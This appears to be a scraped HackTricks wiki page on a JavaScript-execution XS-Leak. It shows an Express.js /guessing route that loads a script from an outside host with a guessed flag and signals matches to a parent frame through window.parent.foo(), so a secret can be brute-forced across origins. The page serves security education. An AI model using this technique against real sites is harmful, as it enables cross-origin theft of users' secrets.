Edit

JavaScript Execution XS Leak

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
    let guess = req.query.guess
    let page = `<html>
                <head>
                    <script>
                            function foo() {
                                // If not the flag this will be executed
                                window.parent.foo()
                            }
                        </script>
                    <script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
                </head>
                <p>hello2</p>
                </html>`
    res.send(page)
});

Main page that generates iframes to the previous /guessing page to test each possibility

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
PreviousEvent Loop Blocking + Lazy imagesNextCSS Injection

Last updated